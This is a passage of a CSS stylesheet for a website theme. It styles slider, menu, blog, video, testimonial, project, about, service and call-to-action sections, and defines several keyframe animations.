relative; overflow: hidden; border-radius: 5px; margin-left: auto; margin-right: auto; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; position: relative; } .service-seven__icon::before { content: ''; width: 100%; height: 100%; background-color: #579eee; position: absolute; top: 0; left: 0; opacity: 0.1; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-seven__icon i { position: relative; font-size: 63px; color: #579eee; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-seven__item:hover .service-seven__icon::before { opacity: 1; } .service-seven__item:hover .service-seven__icon i { color: #fff !important; } .service-seven__text { margin: 0; line-height: 2.125; font-size: 16px; color: var(--thm-text); margin-bottom: 27px; position: relative; } .service-seven__link { font-size: 22px; color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .service-seven__item:hover .service-seven__link { color: #579eee; } .service-seven [class*=col-]:nth-child(2) .service-seven__item::before { border-color: #ff9a61; } .service-seven [class*=col-]:nth-child(2) .service-seven__icon::before { background-color: #ff9a61; } .service-seven [class*=col-]:nth-child(2) .service-seven__title a:hover, .service-seven [class*=col-]:nth-child(2) .service-seven__icon i, .service-seven [class*=col-]:nth-child(2) .service-seven__item:hover .service-seven__link { color: #ff9a61; } .service-seven [class*=col-]:nth-child(3) .service-seven__item::before { border-color: #54d6ad; } .service-seven [class*=col-]:nth-child(3) .service-seven__icon::before { background-color: #54d6ad; } .service-seven [class*=col-]:nth-child(3) .service-seven__icon i, .service-seven [class*=col-]:nth-child(3) .service-seven__title a:hover, .service-seven [class*=col-]:nth-child(3) .service-seven__item:hover .service-seven__link { color: #54d6ad; } .service-seven [class*=col-]:nth-child(4) .service-seven__item::before { border-color: #f15d8a; } .service-seven [class*=col-]:nth-child(4) .service-seven__icon::before { background-color: #f15d8a; } .service-seven [class*=col-]:nth-child(4) .service-seven__title a:hover, .service-seven [class*=col-]:nth-child(4) .service-seven__icon i, .service-seven [class*=col-]:nth-child(4) .service-seven__item:hover .service-seven__link { color: #f15d8a; } /* slider seven */ .slider-seven .swiper-slide { position: relative; padding-top: 150px; } @media (min-width: 1200px) { .slider-seven .swiper-slide { padding-bottom: 140px; } } @media (min-width: 1400px) { .slider-seven .swiper-slide { padding-top: 260px; padding-bottom: 110px; } } .slider-seven__round__shape-1 { position: absolute; color: #ff9a61; top: 0; right: 0; display: none; -webkit-transform: translateX(300px); transform: translateX(300px); opacity: 0; visibility: hidden; -webkit-transition: opacity 750ms ease, visibility 750ms ease, -webkit-transform 750ms ease; transition: opacity 750ms ease, visibility 750ms ease, -webkit-transform 750ms ease; transition: transform 750ms ease, opacity 750ms ease, visibility 750ms ease; transition: transform 750ms ease, opacity 750ms ease, visibility 750ms ease, -webkit-transform 750ms ease; } .slider-seven__round__shape-1 svg { width: 400px; height: auto; } @media (min-width: 1200px) { .slider-seven__round__shape-1 svg { width: 600px; } } @media (min-width: 1400px) { .slider-seven__round__shape-1 svg { width: 750px; } } @media (min-width: 768px) { .slider-seven__round__shape-1 { display: block; } } @media (min-width: 1400px) { .slider-seven__round__shape-1 { top: -70px; } } .slider-seven__round__shape-2 { color: var(--thm-base); position: absolute; top: 0; right: 50px; display: none; -webkit-transform: translateX(300px); transform: translateX(300px); opacity: 0; visibility: hidden; -webkit-transition: opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; transition: opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; } .slider-seven__round__shape-2 svg { width: 400px; height: auto; } @media (min-width: 1200px) { .slider-seven__round__shape-2 svg { width: 600px; } } @media (min-width: 1400px) { .slider-seven__round__shape-2 svg { width: 750px; } } @media (min-width: 768px) { .slider-seven__round__shape-2 { display: block; } } @media (min-width: 1200px) { .slider-seven__round__shape-2 { right: 80px; } } @media (min-width: 1400px) { .slider-seven__round__shape-2 { top: 0; right: 180px; } } .slider-seven__round__image { width: 500px; height: 500px; position: absolute; top: -50px; right: -50px; border-top-left-radius: 50%; border-bottom-left-radius: 50%; border-bottom-right-radius: 50%; background-repeat: no-repeat; background-size: cover; background-position: top right; -webkit-transform: translateX(300px); transform: translateX(300px); opacity: 0; visibility: hidden; -webkit-transition: opacity 1800ms ease, visibility 1800ms ease, -webkit-transform 1800ms ease; transition: opacity 1800ms ease, visibility 1800ms ease, -webkit-transform 1800ms ease; transition: transform 1800ms ease, opacity 1800ms ease, visibility 1800ms ease; transition: transform 1800ms ease, opacity 1800ms ease, visibility 1800ms ease, -webkit-transform 1800ms ease; -webkit-box-shadow: 0px 20px 60px 0px rgba(0, 0, 0, 0.1); box-shadow: 0px 20px 60px 0px rgba(0, 0, 0, 0.1); display: none; } @media (min-width: 768px) { .slider-seven__round__image { display: block; } } @media (min-width: 1200px) { .slider-seven__round__image { width: 700px; height: 700px; top: 0; right: 0; } } @media (min-width: 1400px) { .slider-seven__round__image { width: 986px; height: 986px; top: -170px; right: -125px; } } .swiper-slide-active .slider-seven__round__shape-1, .swiper-slide-active .slider-seven__round__shape-2, .swiper-slide-active .slider-seven__round__image { opacity: 1; -webkit-transform: translateX(0); transform: translateX(0); visibility: visible; } .slider-seven__title { margin: 0; color: var(--thm-black); font-weight: 300; font-size: 45px; line-height: 1; letter-spacing: -0.06em; -webkit-transform: translateY(-200px); transform: translateY(-200px); opacity: 0; visibility: hidden; -webkit-transition: opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; transition: opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease; transition: transform 1000ms ease, opacity 1000ms ease, visibility 1000ms ease, -webkit-transform 1000ms ease; max-width: 516px; } .slider-seven__title span { font-weight: 500; } @media (min-width: 992px) { .slider-seven__title { font-size: 60px; } } @media (min-width: 1200px) { .slider-seven__title { font-size: 90px; } } .slider-seven__text { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 2; margin-top: 40px; margin-bottom: 40px; -webkit-transform: translateY(-100px); transform: translateY(-100px); opacity: 0; visibility: hidden; -webkit-transition: opacity 1500ms ease, visibility 1500ms ease, -webkit-transform 1500ms ease; transition: opacity 1500ms ease, visibility 1500ms ease, -webkit-transform 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, visibility 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, visibility 1500ms ease, -webkit-transform 1500ms ease; max-width: 510px; } @media (min-width: 1200px) { .slider-seven__text { margin-top: 25px; } } .slider-seven__btn { -webkit-transform: translateY(100px); transform: translateY(100px); opacity: 0; visibility: hidden; -webkit-transition: opacity 2000ms ease, visibility 2000ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: opacity 2000ms ease, visibility 2000ms ease, background 500ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, opacity 2000ms ease, visibility 2000ms ease, background 500ms ease; transition: transform 2000ms ease, opacity 2000ms ease, visibility 2000ms ease, background 500ms ease, -webkit-transform 2000ms ease; } .swiper-slide-active .slider-seven__title, .swiper-slide-active .slider-seven__btn, .swiper-slide-active .slider-seven__text { -webkit-transform: translateY(0); transform: translateY(0); opacity: 1; visibility: visible; } @-webkit-keyframes globeRotate { 8% { -webkit-transform: perspective(200px) rotateY(0deg); transform: perspective(200px) rotateY(0deg); } 100% { -webkit-transform: perspective(200px) rotateY(360deg); transform: perspective(200px) rotateY(360deg); } } @keyframes globeRotate { 8% { -webkit-transform: perspective(200px) rotateY(0deg); transform: perspective(200px) rotateY(0deg); } 100% { -webkit-transform: perspective(200px) rotateY(360deg); transform: perspective(200px) rotateY(360deg); } } @-webkit-keyframes shapeMover { 0%, 100% { -webkit-transform: perspective(400px) translateY(0) rotate(0deg) translateZ(0px) translateX(0); transform: perspective(400px) translateY(0) rotate(0deg) translateZ(0px) translateX(0); } 50% { -webkit-transform: perspective(400px) rotate(-15deg) translateZ(20px) translateY(20px) translateX(20px); transform: perspective(400px) rotate(-15deg) translateZ(20px) translateY(20px) translateX(20px); } } @keyframes shapeMover { 0%, 100% { -webkit-transform: perspective(400px) translateY(0) rotate(0deg) translateZ(0px) translateX(0); transform: perspective(400px) translateY(0) rotate(0deg) translateZ(0px) translateX(0); } 50% { -webkit-transform: perspective(400px) rotate(-15deg) translateZ(20px) translateY(20px) translateX(20px); transform: perspective(400px) rotate(-15deg) translateZ(20px) translateY(20px) translateX(20px); } } @-webkit-keyframes bubbleMover { 0% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); } 30% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: center center; transform-origin: center center; } 50% { -webkit-transform: translateY(50px) translateX(100px) rotate(45deg); transform: translateY(50px) translateX(100px) rotate(45deg); -webkit-transform-origin: right bottom; transform-origin: right bottom; } 80% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: left top; transform-origin: left top; } 100% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); -webkit-transform-origin: center center; transform-origin: center center; } } @keyframes bubbleMover { 0% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); } 30% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: center center; transform-origin: center center; } 50% { -webkit-transform: translateY(50px) translateX(100px) rotate(45deg); transform: translateY(50px) translateX(100px) rotate(45deg); -webkit-transform-origin: right bottom; transform-origin: right bottom; } 80% { -webkit-transform: translateY(30px) translateX(50px) rotate(15deg); transform: translateY(30px) translateX(50px) rotate(15deg); -webkit-transform-origin: left top; transform-origin: left top; } 100% { -webkit-transform: translateY(0px) translateX(0) rotate(0); transform: translateY(0px) translateX(0) rotate(0); -webkit-transform-origin: center center; transform-origin: center center; } } .slider-seven__shape-1 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-1.png); background-repeat: no-repeat; width: 326px; height: 419px; position: absolute; top: 105px; left: 0; } .slider-seven__shape-2 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-2.png); background-repeat: no-repeat; width: 36px; height: 36px; position: absolute; top: 170px; left: 307px; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: shapeMover; animation-name: shapeMover; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-duration: 10s; animation-duration: 10s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .slider-seven__shape-3 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-3.png); background-repeat: no-repeat; width: 19px; height: 16px; position: absolute; left: 723px; top: 208px; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: bubbleMover; animation-name: bubbleMover; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-duration: 10s; animation-duration: 10s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .slider-seven__shape-4 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-4.png); background-repeat: no-repeat; width: 35px; height: 32px; position: absolute; top: 626px; left: 174px; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: bubbleMover; animation-name: bubbleMover; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-duration: 10s; animation-duration: 10s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .slider-seven__shape-5 { background-image: url(../images/update-01-10-2021/shapes/slide-seven-shape-1-5.png); background-repeat: no-repeat; width: 24px; height: 24px; position: absolute; top: 660px; left: 890px; -webkit-animation-fill-mode: both; animation-fill-mode: both; -webkit-animation-name: bubbleMover; animation-name: bubbleMover; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-duration: 10s; animation-duration: 10s; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /* mainmenu seven */ .mainmenu-seven { -webkit-transition: all 500ms ease; transition: all 500ms ease; } @media (min-width: 1200px) { .mainmenu-seven { position: fixed; top: 0; left: 0; width: 100%; z-index: 991; min-height: 110px; } } .mainmenu-seven .mainmenu-seven__inner { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; -webkit-box-align: center; -ms-flex-align: center; align-items: center; float: none !important; width: 100% !important; padding-top: 40px !important; padding-left: 15px !important; padding-right: 15px !important; } @media (min-width: 1200px) { .mainmenu-seven .mainmenu-seven__inner { padding-left: 50px; padding-right: 50px; padding-top: 0 !important; position: relative; } } .mainmenu-seven__left { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .mainmenu-seven__left .mobile-nav-toggler { margin: 0; margin-left: 20px; } @media (min-width: 1200px) { .mainmenu-seven__left { position: absolute; top: 40px; left: 50px; z-index: 9; } } .mainmenu-seven__search { font-size: 22px; color: var(--thm-black); height: 42px; border-left: 1px solid rgba(var(--thm-black-rgb), 0.2); padding-left: 30px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-right: 30px; } .mainmenu-seven__search button { background-color: transparent; } .mainmenu-seven__right { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } @media (min-width: 1200px) { .mainmenu-seven__right { position: absolute; top: 40px; right: 50px; z-index: 9; } } .mainmenu-seven__right .mobile-nav-toggler { display: -webkit-box !important; display: -ms-flexbox !important; display: flex !important; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; margin: 0; } .mainmenu-seven__right .mobile-nav-toggler span { width: 28px; height: 1px; background-color: var(--thm-black); display: block; } .mainmenu-seven__right .mobile-nav-toggler span:nth-child(2) { width: 23px; margin-top: 7px; margin-bottom: 7px; } .mainmenu-seven__right .mobile-nav-toggler span:nth-child(3) { width: 18px; } .mainmenu-seven .main-menu { margin-left: auto; margin-right: auto; max-width: 1200px; width: 100%; padding-left: 200px; padding-right: 15px; } @media (min-width: 1550px) { .mainmenu-seven .main-menu { padding-left: 15px; } } .mainmenu-seven .auto-container { width: 100%; max-width: 100%; padding-left: 0; padding-right: 0; } .mainmenu-seven .main-menu .navigation li > a { font-size: 16px; font-weight: 400; color: var(--thm-black); text-transform: capitalize; } .mainmenu-seven.fixed-header { background-color: #fff; -webkit-box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); box-shadow: 0 10px 30px 0px rgba(0, 0, 0, 0.08); } /* blog eight */ .blog-eight { padding-top: 96px; padding-bottom: 70px; } @media (min-width: 1200px) { .blog-eight { padding-top: 116px; padding-bottom: 90px; } } .blog-eight__card { margin-bottom: 30px; } .blog-eight__image img { width: 100%; } .blog-eight__content { background-color: #fff; width: calc(100% - 40px); margin-left: auto; margin-right: auto; position: relative; margin-top: -20px; text-align: center; padding-top: 33px; } .blog-eight__date { position: absolute; bottom: 100%; right: 0; background-color: var(--thm-base); color: var(--thm-black); -webkit-transition: all 500ms ease; transition: all 500ms ease; text-transform: uppercase; font-size: 12px; font-weight: bold; letter-spacing: .2em; line-height: 1; padding-left: 21px; padding-right: 21px; padding-top: 12.5px; padding-bottom: 12.5px; } .blog-eight__title { margin: 0; color: var(--thm-black); font-size: 24px; line-height: 1.25; font-weight: bold; margin-bottom: 24px; } .blog-eight__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-eight__title a:hover { color: var(--thm-base); } .blog-eight__text { margin: 0; color: var(--thm-text); font-size: 16px; line-height: 1.875; margin-bottom: 24px; } .blog-eight__meta { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; border-top: 1px solid #e2e5ed; padding-top: 10px; } .blog-eight__meta a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 14px; color: var(--thm-text); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-eight__meta a:hover { color: var(--thm-base); } .blog-eight__meta a:hover i { color: var(--thm-black); } .blog-eight__meta a i { color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-right: 5px; } .blog-eight__meta a + a { margin-left: 20px; } /* video seven */ .video-seven { position: relative; text-align: center; background-color: var(--thm-black); padding-top: 90px; padding-bottom: 100px; } @media (min-width: 1200px) { .video-seven { padding-top: 110px; padding-bottom: 120px; } } .video-seven__parallax { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0.3; } .video-seven .auto-container { position: relative; } .video-seven__title { margin: 0; color: #fff; font-size: 40px; line-height: 1.2; font-weight: bold; margin-bottom: 40px; max-width: 741px; margin-left: auto; margin-right: auto; text-align: center; } @media (min-width: 992px) { .video-seven__title { font-size: 60px; margin-bottom: 50px; } } .video-seven__btn { width: 100px; height: 100px; background-color: var(--thm-base); color: var(--thm-black); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; margin-left: auto; margin-right: auto; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; font-size: 24px; } .video-seven__btn:hover { background-color: #fff; color: var(--thm-base); } .video-seven__btn .ripple, .video-seven__btn .ripple:before, .video-seven__btn .ripple:after { position: absolute; top: 50%; left: 50%; width: 100%; height: 100%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .video-seven__btn .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .video-seven__btn .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } /* testimonials eight */ .testimonials-eight { background-color: #eef0f6; background-image: url(../images/update-01-10-2021/shapes/testi-8-bg-1-1.png); background-repeat: repeat; background-position: center; padding-top: 96px; padding-bottom: 70px; } @media (min-width: 992px) { .testimonials-eight { padding-top: 116px; padding-bottom: 90px; } } .testimonials-eight__card { margin-bottom: 30px; background-color: #fff; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding: 40px; } @media (min-width: 992px) { .testimonials-eight__card { padding: 60px; } } .testimonials-eight__card:hover { -webkit-box-shadow: 0px 25px 40px 0px rgba(24, 46, 101, 0.1); box-shadow: 0px 25px 40px 0px rgba(24, 46, 101, 0.1); } .testimonials-eight__stars { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 30px; } .testimonials-eight__stars i { color: var(--thm-base); font-size: 16px; line-height: 1; } .testimonials-eight__stars i + i { margin-left: 10px; } .testimonials-eight__info { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .testimonials-eight__image { -ms-flex-negative: 0; flex-shrink: 0; margin-right: 20px; } .testimonials-eight__image img { width: 63px; border-radius: 50%; } .testimonials-eight__text { margin: 0; color: var(--thm-text); font-size: 18px; line-height: 1.889; padding-bottom: 23px; border-bottom: 1px solid #e2e5ed; margin-bottom: 30px; } .testimonials-eight__name { font-size: 18px; font-weight: bold; color: var(--thm-black); line-height: 1; margin: 0; margin-bottom: 7px; } .testimonials-eight__designation { margin: 0; line-height: 1; color: var(--thm-text); font-size: 14px; } /* Project eight */ .project-eight { padding-top: 96px; padding-bottom: 100px; } @media (min-width: 1200px) { .project-eight { padding-top: 116px; padding-bottom: 120px; } } .project-eight .auto-container { max-width: 100%; } @media (min-width: 992px) { .project-eight .auto-container { padding-left: 30px; padding-right: 30px; } } @media (min-width: 1200px) { .project-eight .auto-container { padding-left: 60px; padding-right: 60px; } } @media (min-width: 1400px) { .project-eight .auto-container { padding-left: 100px; padding-right: 100px; } } .project-eight__item { position: relative; } .project-eight__item img { width: 100%; } .project-eight__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; padding: 20px; } .project-eight__content::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: -webkit-gradient(linear, left bottom, left top, from(var(--thm-black)), color-stop(70%, rgba(0, 0, 0, 0))); background-image: linear-gradient(to top, var(--thm-black) 0%, rgba(0, 0, 0, 0) 70%); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; -webkit-transform: translateY(0%); transform: translateY(0%); } .project-eight__item:hover .project-eight__content::before { -webkit-transform: translateY(100%); transform: translateY(100%); } .project-eight__title { margin: 0; background-color: transparent; padding: 30px 40px; font-size: 30px; line-height: 1.33; font-weight: bold; color: #fff; position: relative; width: 100%; } .project-eight__title::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; -webkit-transform: translateY(-100%); transform: translateY(-100%); background-color: #fff; opacity: 0; visibility: hidden; -webkit-transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; } .project-eight__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; display: block; max-width: 163px; } .project-eight__title a:hover { color: var(--thm-base); } .project-eight__item:hover .project-eight__title { color: var(--thm-black); } .project-eight__item:hover .project-eight__title::before { opacity: 1; visibility: visible; -webkit-transform: translateY(0); transform: translateY(0); } .project-eight__link { width: 54px; height: 54px; background-color: var(--thm-base); position: absolute; bottom: 135px; right: 50px; color: var(--thm-black); font-size: 22px; border-radius: 50%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; z-index: 10; -webkit-transform: scale(0); transform: scale(0); -webkit-transition: background 500ms ease, color 500ms ease, -webkit-transform 500ms ease; transition: background 500ms ease, color 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, background 500ms ease, color 500ms ease; transition: transform 500ms ease, background 500ms ease, color 500ms ease, -webkit-transform 500ms ease; } .project-eight__link:hover { background-color: var(--thm-black); color: #fff; } .project-eight__item:hover .project-eight__link { -webkit-transform: scale(1); transform: scale(1); } /* about ten */ .about-ten { padding-top: 100px; counter-reset: boxNumber; } @media (min-width: 992px) { .about-ten { padding-top: 0; } } .about-ten__image img { max-width: 100%; margin-bottom: 60px; } @media (min-width: 992px) { .about-ten__image img { margin-bottom: 0; max-width: none; float: right; position: relative; left: 30px; } } @media (min-width: 1200px) { .about-ten .my-auto { margin: 0; } } @media (min-width: 1200px) { .about-ten__content { padding-left: 100px; padding-top: 116px; } } .about-ten__text { color: var(--thm-base); font-size: 22px; font-weight: 500; line-height: 1.81; margin: 0; margin-top: -20px; margin-bottom: 20px; } @media (min-width: 1200px) { .about-ten__text { margin-top: -10px; margin-bottom: 37px; } } .about-ten__box + .about-ten__box { margin-top: 20px; } @media (min-width: 1200px) { .about-ten__box + .about-ten__box { margin-top: 53px; } } .about-ten__box { position: relative; counter-increment: boxNumber; } @media (min-width: 576px) { .about-ten__box { padding-left: 70px; } } .about-ten__box::before { content: counters(boxNumber, ".", decimal-leading-zero); width: 54px; height: 54px; border-radius: 50%; background-color: var(--thm-base); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-family: "Shadows Into Light"; color: var(--thm-black); font-size: 30px; margin-bottom: 20px; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-bottom: 5px; } @media (min-width: 576px) { .about-ten__box::before { position: absolute; top: 10px; left: 0; } } .about-ten__box:hover::before { background-color: var(--thm-black); color: #fff; } .about-ten__box__title { margin: 0; color: var(--thm-black); font-size: 20px; line-height: 1.7; font-weight: bold; margin-bottom: 8px; } .about-ten__box__text { margin: 0; font-size: 18px; line-height: 1.889; } /* service eight */ .service-eight { padding-top: 100px; padding-bottom: 70px; background-color: #eef0f6; background-image: url(../images/update-01-10-2021/shapes/testi-8-bg-1-1.png); background-repeat: repeat; background-position: center; counter-reset: serviceNumber; } @media (min-width: 1200px) { .service-eight { padding-top: 116px; padding-bottom: 90px; } } .service-eight__card { background-color: #fff; padding: 15px; margin-bottom: 30px; counter-increment: serviceNumber; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-eight__card__inner { border: 1px solid #eef0f6; padding: 35px; overflow: hidden; position: relative; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-eight__card__inner::before { line-height: 1; font-size: 60px; color: #eef0f6; font-family: "Shadows Into Light"; content: counters(serviceNumber, ".", decimal-leading-zero); position: absolute; right: 35px; bottom: 35px; -webkit-transition: all 500ms ease; transition: all 500ms ease; opacity: 1; } .service-eight__card__inner::after { content: ''; width: 68px; height: 68px; background-color: #eef0f6; position: absolute; bottom: 0; right: 0; -webkit-transform: translateY(50%) translateX(50%); transform: translateY(50%) translateX(50%); border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-eight__card:hover { background-color: var(--thm-base); } .service-eight__card:hover .service-eight__card__inner { border-color: var(--thm-black); } .service-eight__card:hover .service-eight__card__inner::after { background-color: var(--thm-black); } .service-eight__card:hover .service-eight__card__inner::before { opacity: 0.1; color: var(--thm-black); } .service-eight__title { font-size: 20px; line-height: 1.5; color: var(--thm-black); margin: 0; max-width: 101px; font-weight: bold; } .service-eight__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-eight__title a:hover { color: #fff; } .service-eight__icon { margin-top: 70px; } .service-eight__icon i { font-size: 60px; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; } .service-eight__card:hover .service-eight__icon i { color: var(--thm-black); } /* about eleven */ .about-eleven { padding-top: 100px; padding-bottom: 100px; } @media (min-width: 1200px) { .about-eleven { padding-top: 120px; padding-bottom: 120px; } } .about-eleven__images { position: relative; margin-bottom: 60px; } .about-eleven__images::before { content: ''; width: 20px; height: 326px; background-color: var(--thm-base); color: var(--thm-base); position: absolute; right: 100%; top: 40px; } @media (min-width: 992px) { .about-eleven__images { margin-bottom: 0; } } .about-eleven__images img { max-width: 100%; } .about-eleven__images img:nth-child(2) { position: absolute; bottom: 0; left: 0; } @media (min-width: 1200px) { .about-eleven__images img:nth-child(2) { left: -120px; } } .about-eleven .sec-title-eight { margin-bottom: 40px; } .about-eleven__summery { margin: 0; font-size: 18px; line-height: 1.889; color: var(--thm-text); } .about-eleven__box { display: -ms-grid; display: grid; -ms-grid-columns: 1fr; grid-template-columns: 1fr; margin-top: 40px; } @media (min-width: 576px) { .about-eleven__box { -ms-grid-columns: (1fr)[2]; grid-template-columns: repeat(2, 1fr); } } .about-eleven__box__item + .about-eleven__box__item { margin-top: 20px; } @media (min-width: 576px) { .about-eleven__box__item + .about-eleven__box__item { margin-top: 0; } } .about-eleven__box__item { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .about-eleven__box__item i { font-size: 62px; color: var(--thm-base); } .about-eleven__box__title { margin: 0; font-size: 20px; margin-left: 20px; line-height: 1.3; color: var(--thm-black); font-weight: bold; max-width: 118px; } .about-eleven__progress { margin-top: 40px; } .about-eleven__progress p { margin: 0; font-size: 18px; font-weight: bold; color: var(--thm-black); margin-bottom: 2px; } .about-eleven__progress-line { width: 100%; height: 13px; background-color: #eef0f6; position: relative; border-radius: 7.5px; } .about-eleven__progress-line span { -webkit-transition: all 1000ms ease; transition: all 1000ms ease; width: 0; height: 100%; background-color: var(--thm-base); border-radius: 7.5px; position: absolute; top: 0; left: 0; } .about-eleven__progress-line b { position: absolute; bottom: 100%; right: 0; color: var(--thm-text); font-size: 14px; font-weight: 400; } .about-eleven__info { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 50px; } .about-eleven__info__image { -ms-flex-negative: 0; flex-shrink: 0; margin-right: 20px; } .about-eleven__info__image img { width: 75px; border-radius: 50%; } .about-eleven__info__name { margin: 0; font-size: 20px; color: var(--thm-black); font-weight: bold; margin-bottom: 7px; } .about-eleven__info__text { margin: 0; color: var(--thm-text); font-size: 14px; line-height: 1; } /* call to action four */ .call-to-section-four { background-color: var(--thm-base); } .call-to-section-four .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; padding-top: 30px; padding-bottom: 40px; } @media (min-width: 992px) { .call-to-section-four .auto-container { padding-top: 50px; padding-bottom: 